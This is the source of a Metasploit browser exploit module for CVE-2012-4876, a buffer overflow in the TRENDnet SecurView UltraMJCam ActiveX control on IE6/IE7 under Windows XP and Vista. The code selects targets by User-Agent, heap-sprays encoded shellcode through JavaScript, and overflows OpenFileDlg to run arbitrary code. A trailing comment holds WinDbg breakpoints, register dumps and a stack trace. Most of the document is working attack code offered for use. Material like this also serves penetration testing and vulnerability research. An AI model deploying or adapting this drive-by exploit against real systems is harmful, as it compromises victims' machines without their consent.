## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "TRENDnet SecurView Internet Camera UltraMJCam OpenFileDlg Buffer Overflow", 'Description' => %q{ This module exploits a vulnerability found in TRENDnet SecurView Internet Camera's ActiveX control. By supplying a long string of data as the sFilter argument of the OpenFileDlg() function, it is possible to trigger a buffer overflow condition due to WideCharToMultiByte (which converts unicode back to) overwriting the stack more than it should, which results arbitrary code execution under the context of the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', #Original discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ [ 'CVE', '2012-4876' ], [ 'OSVDB', '80661' ], [ 'EDB', '18675' ] ], 'Payload' => { 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'DefaultOptions' => { 'EXITFUNC' => "seh", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ], [ 'IE 7 on Windows XP SP3', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ], [ 'IE 7 on Windows Vista', { 'Offset' => '0x600', 'Ret' => 0x30303030 } ] ], 'Privileged' => false, 'DisclosureDate' => "Mar 28 2012", 'DefaultTarget' => 0)) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/ return targets[3] #IE 7 on Windows Vista else return nil end end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent.to_s}") send_not_found(cli) return end # Set payload depending on target p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) # Convert the pivot addr (in decimal format) to binary, # and then break it down to this printable format: # \x41\x41\x41\x41 t = [my_target.ret].pack("V").unpack("H*")[0] target_ret = '' 0.step(t.length-1, 2) do |i| target_ret << "\\x#{t[i, 2]}" end js = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x40000-6)/2); heap_obj.gc(); for (var i=1; i < 0x1000; i++) { heap_obj.alloc(block); } var ret = ""; for (i2=0; i2<30000; i2++) { ret = ret + "#{target_ret}"; } obj.OpenFileDlg(ret); JS js = heaplib(js, {:noobfu => true}) html = <<-EOS

EOS print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin bp 1000f952 "r; g" bp kernel32!WideCharToMultiByte "r; dc poi(esp+c); .echo; g" eax=023f4bf4 ebx=1006519c ecx=00000003 edx=0013a170 esi=00038ce0 edi=00000000 eip=7c80a164 esp=0013a130 ebp=0013a158 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 kernel32!WideCharToMultiByte: 7c80a164 8bff mov edi,edi 023f4bf4 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c04 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c14 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c24 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c34 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c44 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c54 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. 023f4c64 00410041 00410041 00410041 00410041 A.A.A.A.A.A.A.A. ChildEBP RetAddr 0013a12c 1000f958 kernel32!WideCharToMultiByte WARNING: Stack unwind information not available. Following frames may be wrong. 0013a158 100211d0 UltraMJCamX+0xf958 0013e24c 77135cd9 UltraMJCamX!DllUnregisterServer+0xeb20 0013e26c 771362e8 OLEAUT32!DispCallFunc+0x16a 0013e2fc 10017142 OLEAUT32!CTypeInfo2::Invoke+0x234 0013e32c 100170e2 UltraMJCamX!DllUnregisterServer+0x4a92 0013e358 7deac999 UltraMJCamX!DllUnregisterServer+0x4a32 0013e398 7deacfaf mshtml!InvokeDispatchWithNoThis+0x78 0013e3d8 7deac9fc mshtml!COleSite::ContextInvokeEx+0x149 0013e40c 75c71408 mshtml!COleSite::ContextThunk_InvokeEx+0x44 0013e444 75c71378 jscript!IDispatchExInvokeEx2+0xac 0013e47c 75c76db3 jscript!IDispatchExInvokeEx+0x56 0013e4ec 75c710d8 jscript!InvokeDispatchEx+0x78 0013e534 75c6fab8 jscript!VAR::InvokeByName+0xba 0013e574 75c6efea jscript!VAR::InvokeDispName+0x43 0013e598 75c76ff4 jscript!VAR::InvokeByDispID+0xfd 0013e650 75c7165d jscript!CScriptRuntime::Run+0x16bd 0013e668 75c71793 jscript!ScrFncObj::Call+0x8d 0013e6d8 75c5da62 jscript!CSession::Execute+0xa7 0013e728 75c5e6e7 jscript!COleScript::ExecutePendingScripts+0x147 0:008> r eax=78f8f8f8 ebx=1006519c ecx=020bc038 edx=0c0c0c0c esi=020bf4d0 edi=020c0000 eip=1003a0e9 esp=020bb140 ebp=020bf22c iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 UltraMJCamX!DllUnregisterServer+0x27a39: 1003a0e9 8917 mov dword ptr [edi],edx ds:0023:020c0000=00905a4d The only application-specific component loaded is UltraMJCamX.ocx, but this can be unreliable and I'd rather not use that. =end